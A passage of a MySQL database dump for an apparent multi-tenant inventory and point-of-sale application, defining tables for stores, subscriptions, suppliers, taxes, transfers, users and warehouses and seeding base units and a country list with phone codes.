CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `country_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `states_country_id_foreign` (`country_id`), CONSTRAINT `states_country_id_foreign` FOREIGN KEY (`country_id`) REFERENCES `countries` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=4122 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `steps`; CREATE TABLE `steps` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `sub_title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `stores`; CREATE TABLE `stores` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `user_id` bigint unsigned NOT NULL, `status` tinyint(1) NOT NULL DEFAULT '1', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `stores_tenant_id_foreign` (`tenant_id`), KEY `stores_user_id_foreign` (`user_id`), CONSTRAINT `stores_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `stores_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `subscriptions`; CREATE TABLE `subscriptions` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` bigint unsigned NOT NULL, `plan_id` bigint unsigned DEFAULT NULL, `transaction_id` bigint unsigned DEFAULT NULL, `payment_type` int DEFAULT NULL, `plan_amount` double NOT NULL DEFAULT '0', `payable_amount` double NOT NULL DEFAULT '0', `plan_frequency` int NOT NULL DEFAULT '1' COMMENT '1 = Weekly, 2 = Monthly, 3 = Yearly, 4 = Unlimited', `start_date` datetime NOT NULL, `end_date` datetime NOT NULL, `trial_ends_at` datetime DEFAULT NULL, `status` tinyint(1) NOT NULL DEFAULT '2' COMMENT '0 = Inactive, 1 = Active, 2 = Pending, 3 = Rejected', `is_paid` tinyint(1) NOT NULL DEFAULT '0', `data` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `notes` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `subscriptions_user_id_foreign` (`user_id`), KEY `subscriptions_plan_id_foreign` (`plan_id`), KEY `subscriptions_transaction_id_foreign` (`transaction_id`), CONSTRAINT `subscriptions_plan_id_foreign` FOREIGN KEY (`plan_id`) REFERENCES `plans` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `subscriptions_transaction_id_foreign` FOREIGN KEY (`transaction_id`) REFERENCES `transactions` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `subscriptions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `suppliers`; CREATE TABLE `suppliers` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `country` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `city` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `address` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `suppliers_tenant_id_foreign` (`tenant_id`), CONSTRAINT `suppliers_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `taxes`; CREATE TABLE `taxes` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `number` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `status` tinyint(1) NOT NULL DEFAULT '1', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `taxes_tenant_id_foreign` (`tenant_id`), CONSTRAINT `taxes_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `tenants`; CREATE TABLE `tenants` ( `id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `store_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `data` json DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `tenants_email_unique` (`store_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `testimonials`; CREATE TABLE `testimonials` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=6 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `transactions`; CREATE TABLE `transactions` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `user_id` bigint unsigned DEFAULT NULL, `transaction_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `amount` double NOT NULL, `type` int NOT NULL, `status` int NOT NULL, `meta` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `transactions_tenant_id_foreign` (`tenant_id`), KEY `transactions_user_id_foreign` (`user_id`), CONSTRAINT `transactions_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `transactions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `transfer_items`; CREATE TABLE `transfer_items` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `transfer_id` bigint unsigned NOT NULL, `product_id` bigint unsigned NOT NULL, `product_price` double DEFAULT NULL, `net_unit_price` double DEFAULT NULL, `tax_type` int NOT NULL, `tax_value` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount_type` int NOT NULL, `discount_value` double DEFAULT NULL, `discount_amount` double DEFAULT NULL, `quantity` double DEFAULT NULL, `sub_total` double DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `transfer_items_transfer_id_foreign` (`transfer_id`), KEY `transfer_items_product_id_foreign` (`product_id`), CONSTRAINT `transfer_items_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `transfer_items_transfer_id_foreign` FOREIGN KEY (`transfer_id`) REFERENCES `transfers` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `transfers`; CREATE TABLE `transfers` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `date` date NOT NULL, `from_warehouse_id` bigint unsigned NOT NULL, `to_warehouse_id` bigint unsigned NOT NULL, `tax_rate` double DEFAULT NULL, `tax_amount` double DEFAULT NULL, `discount` double DEFAULT NULL, `shipping` double DEFAULT NULL, `grand_total` double DEFAULT NULL, `status` int DEFAULT NULL, `note` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `reference_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `transfers_from_warehouse_id_foreign` (`from_warehouse_id`), KEY `transfers_to_warehouse_id_foreign` (`to_warehouse_id`), KEY `transfers_tenant_id_foreign` (`tenant_id`), CONSTRAINT `transfers_from_warehouse_id_foreign` FOREIGN KEY (`from_warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `transfers_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `transfers_to_warehouse_id_foreign` FOREIGN KEY (`to_warehouse_id`) REFERENCES `warehouses` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `units`; CREATE TABLE `units` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `short_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `base_unit` bigint NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `units_tenant_id_foreign` (`tenant_id`), CONSTRAINT `units_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `user_stores`; CREATE TABLE `user_stores` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` bigint unsigned NOT NULL, `store_id` bigint unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_stores_user_id_foreign` (`user_id`), KEY `user_stores_store_id_foreign` (`store_id`), CONSTRAINT `user_stores_store_id_foreign` FOREIGN KEY (`store_id`) REFERENCES `stores` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_stores_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `users`; CREATE TABLE `users` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `first_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `last_name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `region` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `email_verified_at` timestamp NULL DEFAULT NULL, `password` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `remember_token` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, `status` tinyint(1) NOT NULL DEFAULT '1', `language` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'en', PRIMARY KEY (`id`), UNIQUE KEY `users_email_unique` (`email`), KEY `users_tenant_id_foreign` (`tenant_id`), CONSTRAINT `users_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `variation_products`; CREATE TABLE `variation_products` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `main_product_id` bigint unsigned DEFAULT NULL, `product_id` bigint unsigned NOT NULL, `variation_id` bigint unsigned NOT NULL, `variation_type_id` bigint unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `variation_products_product_id_foreign` (`product_id`), KEY `variation_products_variation_id_foreign` (`variation_id`), KEY `variation_products_variation_type_id_foreign` (`variation_type_id`), KEY `variation_products_main_product_id_foreign` (`main_product_id`), CONSTRAINT `variation_products_main_product_id_foreign` FOREIGN KEY (`main_product_id`) REFERENCES `main_products` (`id`) ON DELETE CASCADE, CONSTRAINT `variation_products_product_id_foreign` FOREIGN KEY (`product_id`) REFERENCES `products` (`id`) ON DELETE CASCADE, CONSTRAINT `variation_products_variation_id_foreign` FOREIGN KEY (`variation_id`) REFERENCES `variations` (`id`) ON DELETE CASCADE, CONSTRAINT `variation_products_variation_type_id_foreign` FOREIGN KEY (`variation_type_id`) REFERENCES `variation_types` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `variation_types`; CREATE TABLE `variation_types` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `variation_id` bigint unsigned NOT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `variation_types_variation_id_foreign` (`variation_id`), CONSTRAINT `variation_types_variation_id_foreign` FOREIGN KEY (`variation_id`) REFERENCES `variations` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `variations`; CREATE TABLE `variations` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `variations_tenant_id_foreign` (`tenant_id`), CONSTRAINT `variations_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `warehouses`; CREATE TABLE `warehouses` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `tenant_id` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `name` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `country` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `city` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `zip_code` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `warehouses_tenant_id_foreign` (`tenant_id`), CONSTRAINT `warehouses_tenant_id_foreign` FOREIGN KEY (`tenant_id`) REFERENCES `tenants` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; DROP TABLE IF EXISTS `why_choose_us`; CREATE TABLE `why_choose_us` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL, `description` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; INSERT INTO `base_units` (`id`, `tenant_id`, `name`, `is_default`, `created_at`, `updated_at`) VALUES (1, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'piece', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (2, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'meter', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'), (3, '5559d4ec-3b92-4f08-aa6d-a89c372d05d8', 'kilogram', 1, '2025-07-24 03:47:27', '2025-07-24 03:47:27'); INSERT INTO `countries` (`id`, `name`, `short_code`, `phone_code`, `created_at`, `updated_at`) VALUES (1, 'Afghanistan', 'AF', 93, NULL, NULL), (2, 'Albania', 'AL', 355, NULL, NULL), (3, 'Algeria', 'DZ', 213, NULL, NULL), (4, 'American Samoa', 'AS', 1684, NULL, NULL), (5, 'Andorra', 'AD', 376, NULL, NULL), (6, 'Angola', 'AO', 244, NULL, NULL), (7, 'Anguilla', 'AI', 1264, NULL, NULL), (8, 'Antarctica', 'AQ', 0, NULL, NULL), (9, 'Antigua And Barbuda', 'AG', 1268, NULL, NULL), (10, 'Argentina', 'AR', 54, NULL, NULL), (11, 'Armenia', 'AM', 374, NULL, NULL), (12, 'Aruba', 'AW', 297, NULL, NULL), (13, 'Australia', 'AU', 61, NULL, NULL), (14, 'Austria', 'AT', 43, NULL, NULL), (15, 'Azerbaijan', 'AZ', 994, NULL, NULL), (16, 'Bahamas The', 'BS', 1242, NULL, NULL), (17, 'Bahrain', 'BH', 973, NULL, NULL), (18, 'Bangladesh', 'BD', 880, NULL, NULL), (19, 'Barbados', 'BB', 1246, NULL, NULL), (20, 'Belarus', 'BY', 375, NULL, NULL), (21, 'Belgium', 'BE', 32, NULL, NULL), (22, 'Belize', 'BZ', 501, NULL, NULL), (23, 'Benin', 'BJ', 229, NULL, NULL), (24, 'Bermuda', 'BM', 1441, NULL, NULL), (25, 'Bhutan', 'BT', 975, NULL, NULL), (26, 'Bolivia', 'BO', 591, NULL, NULL), (27, 'Bosnia and Herzegovina', 'BA', 387, NULL, NULL), (28, 'Botswana', 'BW', 267, NULL, NULL), (29, 'Bouvet Island', 'BV', 0, NULL, NULL), (30, 'Brazil', 'BR', 55, NULL, NULL), (31, 'British Indian Ocean Territory', 'IO', 246, NULL, NULL), (32, 'Brunei', 'BN', 673, NULL, NULL), (33, 'Bulgaria', 'BG', 359, NULL, NULL), (34, 'Burkina Faso', 'BF', 226, NULL, NULL), (35, 'Burundi', 'BI', 257, NULL, NULL), (36, 'Cambodia', 'KH', 855, NULL, NULL), (37, 'Cameroon', 'CM', 237, NULL, NULL), (38, 'Canada', 'CA', 1, NULL, NULL), (39, 'Cape Verde', 'CV', 238, NULL, NULL), (40, 'Cayman Islands', 'KY', 1345, NULL, NULL), (41, 'Central African Republic', 'CF', 236, NULL, NULL), (42, 'Chad', 'TD', 235, NULL, NULL), (43, 'Chile', 'CL', 56, NULL, NULL), (44, 'China', 'CN', 86, NULL, NULL), (45, 'Christmas Island', 'CX', 61, NULL, NULL), (46, 'Cocos (Keeling) Islands', 'CC', 672, NULL, NULL), (47, 'Colombia', 'CO', 57, NULL, NULL), (48, 'Comoros', 'KM', 269, NULL, NULL), (49, 'Republic Of The Congo', 'CG', 242, NULL, NULL), (50, 'Democratic Republic Of The Congo', 'CD', 242, NULL, NULL), (51, 'Cook Islands', 'CK', 682, NULL, NULL), (52, 'Costa Rica', 'CR', 506, NULL, NULL), (53, 'Cote D\'\'Ivoire (Ivory Coast)', 'CI', 225, NULL, NULL), (54, 'Croatia (Hrvatska)', 'HR', 385, NULL, NULL), (55, 'Cuba', 'CU', 53, NULL, NULL), (56, 'Cyprus', 'CY', 357, NULL, NULL), (57, 'Czech Republic', 'CZ', 420, NULL, NULL), (58, 'Denmark', 'DK', 45, NULL, NULL), (59, 'Djibouti', 'DJ', 253, NULL, NULL), (60, 'Dominica', 'DM', 1767, NULL, NULL), (61, 'Dominican Republic', 'DO', 1809, NULL, NULL), (62, 'East Timor', 'TP', 670, NULL, NULL), (63, 'Ecuador', 'EC', 593, NULL, NULL), (64, 'Egypt', 'EG', 20, NULL, NULL), (65, 'El Salvador', 'SV', 503, NULL, NULL), (66, 'Equatorial Guinea', 'GQ', 240, NULL, NULL), (67, 'Eritrea', 'ER', 291, NULL, NULL), (68, 'Estonia', 'EE', 372, NULL, NULL), (69, 'Ethiopia', 'ET', 251, NULL, NULL), (70, 'External Territories of Australia', 'XA', 61, NULL, NULL), (71, 'Falkland Islands', 'FK', 500, NULL, NULL), (72, 'Faroe Islands', 'FO', 298, NULL, NULL), (73, 'Fiji Islands', 'FJ', 679, NULL, NULL), (74, 'Finland', 'FI', 358, NULL, NULL), (75, 'France', 'FR', 33, NULL, NULL), (76, 'French Guiana', 'GF', 594, NULL, NULL), (77, 'French Polynesia', 'PF', 689, NULL, NULL), (78, 'French Southern Territories', 'TF', 0, NULL, NULL), (79, 'Gabon', 'GA', 241, NULL, NULL), (80, 'Gambia The', 'GM', 220, NULL, NULL), (81, 'Georgia', 'GE', 995, NULL, NULL), (82, 'Germany', 'DE', 49, NULL, NULL), (83, 'Ghana', 'GH', 233, NULL, NULL), (84, 'Gibraltar', 'GI', 350, NULL, NULL), (85, 'Greece', 'GR', 30, NULL, NULL), (86, 'Greenland', 'GL', 299, NULL, NULL), (87, 'Grenada', 'GD', 1473, NULL, NULL), (88, 'Guadeloupe', 'GP', 590, NULL, NULL), (89, 'Guam', 'GU', 1671, NULL, NULL), (90, 'Guatemala', 'GT', 502, NULL, NULL), (91, 'Guernsey and Alderney', 'XU', 44, NULL, NULL), (92, 'Guinea', 'GN', 224, NULL, NULL), (93, 'Guinea-Bissau', 'GW', 245, NULL, NULL), (94, 'Guyana', 'GY', 592, NULL, NULL), (95, 'Haiti', 'HT', 509, NULL, NULL), (96, 'Heard and McDonald Islands', 'HM', 0, NULL, NULL), (97, 'Honduras', 'HN', 504, NULL, NULL), (98, 'Hong Kong S.A.R.', 'HK', 852, NULL, NULL), (99, 'Hungary', 'HU', 36, NULL, NULL), (100, 'Iceland', 'IS', 354, NULL, NULL), (101, 'India', 'IN', 91, NULL, NULL), (102, 'Indonesia', 'ID', 62, NULL, NULL), (103, 'Iran', 'IR', 98, NULL, NULL), (104, 'Iraq', 'IQ', 964, NULL, NULL), (105, 'Ireland', 'IE', 353, NULL, NULL), (106, 'Israel', 'IL', 972, NULL, NULL), (107, 'Italy', 'IT', 39, NULL, NULL), (108, 'Jamaica', 'JM', 1876, NULL, NULL), (109, 'Japan', 'JP', 81, NULL, NULL), (110, 'Jersey', 'XJ', 44, NULL, NULL), (111, 'Jordan', 'JO', 962, NULL, NULL), (112, 'Kazakhstan', 'KZ', 7, NULL, NULL), (113, 'Kenya', 'KE', 254, NULL, NULL), (114, 'Kiribati', 'KI', 686, NULL, NULL), (115, 'Korea North', 'KP', 850, NULL, NULL), (116, 'Korea South', 'KR', 82, NULL, NULL), (117, 'Kuwait', 'KW', 965, NULL, NULL), (118, 'Kyrgyzstan', 'KG', 996, NULL, NULL), (119, 'Laos', 'LA', 856, NULL, NULL), (120, 'Latvia', 'LV', 371, NULL, NULL), (121, 'Lebanon', 'LB', 961, NULL, NULL), (122, 'Lesotho', 'LS', 266, NULL, NULL), (123, 'Liberia', 'LR', 231, NULL, NULL), (124, 'Libya', 'LY', 218, NULL, NULL), (125, 'Liechtenstein', 'LI', 423, NULL, NULL), (126, 'Lithuania', 'LT', 370, NULL, NULL), (127, 'Luxembourg', 'LU', 352, NULL, NULL), (128, 'Macau S.A.R.', 'MO', 853, NULL, NULL), (129, 'Macedonia', 'MK', 389, NULL, NULL), (130, 'Madagascar', 'MG', 261, NULL, NULL), (131, 'Malawi', 'MW', 265, NULL, NULL), (132, 'Malaysia', 'MY', 60, NULL, NULL), (133, 'Maldives', 'MV', 960, NULL, NULL), (134, 'Mali', 'ML', 223, NULL, NULL), (135, 'Malta', 'MT', 356, NULL, NULL), (136, 'Man (Isle of)', 'XM', 44, NULL, NULL), (137, 'Marshall Islands', 'MH', 692, NULL, NULL), (138, 'Martinique', 'MQ', 596, NULL, NULL), (139, 'Mauritania', 'MR', 222, NULL, NULL), (140, 'Mauritius', 'MU', 230, NULL, NULL), (141, 'Mayotte', 'YT', 269, NULL, NULL), (142, 'Mexico', 'MX', 52, NULL, NULL), (143, 'Micronesia', 'FM', 691, NULL, NULL), (144, 'Moldova', 'MD', 373, NULL, NULL), (145, 'Monaco', 'MC', 377, NULL, NULL), (146, 'Mongolia', 'MN', 976, NULL, NULL), (147, 'Montserrat', 'MS', 1664, NULL, NULL), (148, 'Morocco', 'MA', 212, NULL, NULL), (149, 'Mozambique', 'MZ', 258, NULL, NULL), (150, 'Myanmar', 'MM', 95, NULL, NULL), (151, 'Namibia', 'NA', 264, NULL, NULL), (152, 'Nauru', 'NR', 674, NULL, NULL), (153, 'Nepal', 'NP', 977, NULL, NULL), (154, 'Netherlands Antilles', 'AN', 599, NULL, NULL), (155, 'Netherlands The', 'NL', 31, NULL, NULL), (156, 'New Caledonia', 'NC', 687, NULL, NULL), (157, 'New Zealand', 'NZ', 64, NULL, NULL), (158, 'Nicaragua', 'NI', 505, NULL, NULL), (159, 'Niger', 'NE', 227, NULL, NULL), (160, 'Nigeria', 'NG', 234, NULL, NULL), (161, 'Niue', 'NU', 683, NULL, NULL), (162, 'Norfolk Island', 'NF', 672, NULL, NULL), (163, 'Northern Mariana Islands', 'MP', 1670, NULL, NULL), (164, 'Norway', 'NO', 47, NULL, NULL), (165, 'Oman', 'OM', 968, NULL, NULL), (166, 'Pakistan', 'PK', 92, NULL, NULL), (167, 'Palau', 'PW', 680, NULL, NULL), (168, 'Palestinian Territory Occupied', 'PS', 970, NULL, NULL), (169, 'Panama', 'PA', 507, NULL, NULL), (170, 'Papua new Guinea', 'PG', 675, NULL, NULL), (171, 'Paraguay', 'PY', 595, NULL, NULL), (172, 'Peru', 'PE', 51, NULL, NULL), (173, 'Philippines', 'PH', 63, NULL, NULL), (174, 'Pitcairn Island', 'PN', 0, NULL, NULL), (175, 'Poland', 'PL', 48, NULL, NULL), (176, 'Portugal', 'PT', 351, NULL, NULL), (177, 'Puerto Rico', 'PR', 1787, NULL, NULL), (178, 'Qatar', 'QA', 974, NULL, NULL), (179, 'Reunion', 'RE', 262, NULL, NULL), (180, 'Romania', 'RO', 40, NULL, NULL), (181, 'Russia', 'RU', 70, NULL, NULL), (182, 'Rwanda', 'RW', 